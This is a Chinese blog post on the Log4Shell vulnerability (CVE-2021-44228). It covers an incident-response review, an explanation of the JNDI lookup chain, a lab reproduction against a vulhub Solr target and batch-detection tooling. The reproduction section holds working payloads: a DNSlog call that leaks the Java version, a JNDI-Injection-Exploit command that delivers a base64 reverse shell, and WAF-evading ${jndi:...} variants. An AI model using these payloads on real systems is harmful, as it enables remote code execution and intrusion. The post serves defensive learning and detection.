• log4j漏洞原理分析&复现&检测&复盘


      凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变。这样,道即达到了一种“无为而无不为”的状态。在日常生活中,道表现为“不自傲”或“不自恃”。
    
      要想全新全意地过好生活的每一天,秘诀就是,生活就是生活本身。
    
                                                                 —— 李小龙
    
    • 1
    • 2
    • 3
    • 4
    • 5

    log4j漏洞原理分析&复现&检测&复盘

    写在前面

    CVE-2021-44228 毋庸置疑2021年最硬的漏洞,令无数安全从业人员彻夜难免,爆炸的告警,被提爆的SRC,也是每个互联网公司安全运营能力的一次重大考验。

    关于SRC之前在面试的时候被某中厂的安全运营总监问到过:
    他:SRC在你心中是怎样的角色?

    我:算是情报的一个来源,通过外界白帽子对企业资产的测试,我们能够发现自身还没发现的漏洞,或是发现后还没及时修补的漏洞和修复不彻底的漏洞,总的来说SRC对于安全建设来说是一个兜底的补充。

    他:对于log4j漏洞,你说SRC是情报的一个来源,那为什么不放开收取?

    我:公司也要考虑成本,log4j属于严重型漏洞,每个漏洞价值不菲,如果每个漏洞都按照严重收取的话,公司的预算可能扛不住。再者SRC只是我们安全运营能力的一个补充,在得知log4j漏洞细节后,我们应该做的是自查自修,自己修复的差不多时再来开放收取,起到查漏补缺的效果。

    感觉我的回答好像跟没说一样,他就一直揪着问你不是说是情报的来源么为什么不开放收取呢?我满脸大写的问号,核弹级别的漏洞,你总不能鼓励别人把你的资产打成筛子吧?

    一、应急复盘

    1.1 应急响应学习

    我也或多或少的参与了本次的应急,我且借用君哥的书中(《金融行业安全架构与技术实践》)提到的应急PDCERF模型来感悟和学习一下。

    PDCERF ==> 准备->检测->抵制->根除->恢复->跟踪

    准备阶段包括应急响应的规范制度、具体技术工具和平台的搭建运营等;检测阶段就是给事件定性定级;抵制阶段就是止损;根除阶段还原事件触发的路径,彻底解决问题;恢复即把业务恢复至正常水平;跟踪即安全运营中的持续改进,落实整改措施并监控是否有异常。

    1.2 log4j应急中存在的问题

    1、应急预案的规范和演练。公司内制定的应急预案已经是几年之前了,没人去维护更新,公司内部没有定期举行大型的应急演练,从而使得log4j漏洞来临时显得有些忙乱,并没有按照之前制定的应急预案来行动。

    2、缺乏对资产大盘的整体把握。一些大的互联网厂商没有自己的资产大盘,导致来漏洞来临时无法直接快速的得出受影响的资产,以及受影响应用的研发信息,通常数据来源于黑白盒扫描的组件库和src提交资产这三个方面的聚合,所以受影响资产的梳理工作,一定程度上延缓了抢修时间。

    3、自动化能力缺乏。漏洞的推修依赖于安全人员和研发拉群打电话等点对点沟通,无法做到批量风险的告知和推送,对修复进度的统计也是依赖于人工。

    4、应急人才储备不足,没有充分利用好人力。在平常缺乏对应急人才的培训和演练,导致需要大规模推修漏洞时,只有少部分人知道该怎么做,很多人思路和目标并不清晰,就会出现有的人忙的焦头烂额,而有的人很闲且很迷茫这种情况,使得推修的进度达不到预期。培训和演练不充分还带来一个问题,就是跨部门协作,比如物理机和操作系统修复应该找运维团队;jmq、jsf的sdk应该找中间件团队修复等,很多人其实没有这个概念,经常在跨部门协作过程中使安全、业务双方的资源都有极大的消耗,对安全部门的满意度和信誉度也会降低。

    二、漏洞复现

    2.1 原理分析

    在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用

    例如当开发者想在日志中打印今天的日期,则只需要输出 d a t a : M M − d d − y y y y ,此时 l o g 4 j 会将 {data:MM-dd-yyyy},此时log4j会将 data:MMddyyyy,此时log4j会将{}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。

    表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。

    其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。

    JNDI(java naming and directory interface)java命名和目录接口,它会提供一个目录系统,将服务名称与对象关联起来,类似于name --> 对象,其下次中的子协议如ldap(lightweight directory access protocol)轻量级目录访问协议,类似于字典,即name–>data。

    所以JNDI支持命名引用(naming references)的方式,可以远程下载一个class文件,然后加载起来构建对象

    整个攻击链条就是:

    攻击者在漏洞点注入表达式如${jndi:ldap://xxx.xxx.xxx/exploit} --> log4j2支持lookup --> JNDI --> ldap/rmi 远程加载攻击者服务器上的class文件构建对象 --> 执行恶意代码

    2.2 漏洞复现

    2.2.1 Dnslog回显🍎

    cd /opt/vulhub/log4j/CVE-2021-44228
    docker-compose up -d --build
    
    • 1
    • 2

    在本地直接访问 http://192.168.100.15:8983/solr/#/

    image-20220721170154107

    在注入点插入payload${jndi:ldap://${sys:java.version}.7qbi6l.dnslog.cn}并发起请求

    http://192.168.100.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.7qbi6l.dnslog.cn}

    image-20220721162732373

    如下图,已收到dnslog请求记录

    image-20220721162814699

    2.2.2 反弹shell👻

    #复现环境

    靶机:192.168.100.15

    vps:192.168.100.6

    1、先在vps上搭建ldap/rmi服务器

    利用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建命令:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,反弹shell命令的base64编码}|{base64,-d}|{bash,-i}" -A "你的vps-ip"
    # 反弹shell命令如下图所示,要转换成base64编码
    
    • 1
    • 2

    image-20220820224924589

    开启ldap/rmi服务:

    image-20220820224850456

    2、在vps上开启一个监听

    注意端口要与上面“反弹shell命令”的端口一致

    image-20220820224956957

    3、jndi注入payload

    用burp抓包,在注入点的参数位置插入payload

    ${jndi:rmi://192.168.100.6:1099/Exploit}
    # 常见的变形如下(一定情况下可绕waf)
    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
    ${${::-j}ndi:rmi://127.0.0.1:1099/ass}
    ${jndi:rmi://adsasd.asdasd.asdasd}
    ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
    ${${::::::-j}n${::-d}i:ldap://xx/xx}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    image-20220820224517533

    发现vps上已经收到靶机的shell

    image-20220820223738535

    复现成功!

    三、自动化&批量检测🤖

    3.1 burp+python+rad联动检测

    利用BurpSuite的Log4Shell Scanner插件,在Extender --> BApp Store中可以直接install

    因为是被动扫描的方式,所以用浏览器访问漏洞点,burp即可自动检测,如下图检测结果:

    image-20220820212030685

    有时候明明访问了漏洞点,但是在Target --> Site map模块还是看不到扫描结果,这种情况有可能是状态码4xx没有勾选,勾选即可如下图:

    image-20220820230929101

    但是仅仅这样还是依赖burp代理的流量,自动化的程度不高,我们可以尝试将爬虫与burp联动一下,达到全自动检测的目的

    参考文章

    实现思路:

    1、利用python代码读取事先设置的urls.txt应用资产列表

    2、利用rad对每个url的页面进行爬虫

    3、将流量转发到burp中

    4、利用burp的插件进行扫描

    3.2 python脚本url_list批量检查

    脚本地址

    脚本的主要思路是需要给定url或url列表,根据不同的选项可以对每个url进行不同请求(GET/POST)的检测,同时可以提前设置请求时的header字段,可以在header字段处添加payload测试。

    待优化的点:
    1、interact.sh测试的时候有点问题,但是dnslog.cn可以正常使用,不过不能保证每次都能获取到域名,需要加一个判断域名是否获取成功,如果未获取成功需要重试,或设置timeout值抛出错误,作者在这块稍显粗暴。

    2、对header字段的检测灵活度不够,不能自定义测试字段

    把脚本优化一下还是很不错的,下面是检测成功截图:

    image-20220822171841286

  • 相关阅读:
    1024程序员节过后,我才知道JVM有多重要
    【MySql】7- 实践篇(五)
    Python四大数据结构整理
    threeJS嵌入可交互的普通页面
    《永劫无间》找不到ffmpeg.dll无法继续执行怎么办,永劫无间找不到ffmpeg.dll解决方案
    在Ubuntu系统中安装Docker
    Polygon zkEVM中的Merkle tree
    MAC 版PowerPoint 插入latex数学公式
    Java并发编程系列34:CountDownLatch使用
    kube-scheduler addAllEventHandlers
  • 原文地址:https://blog.csdn.net/qq_43665434/article/details/126474791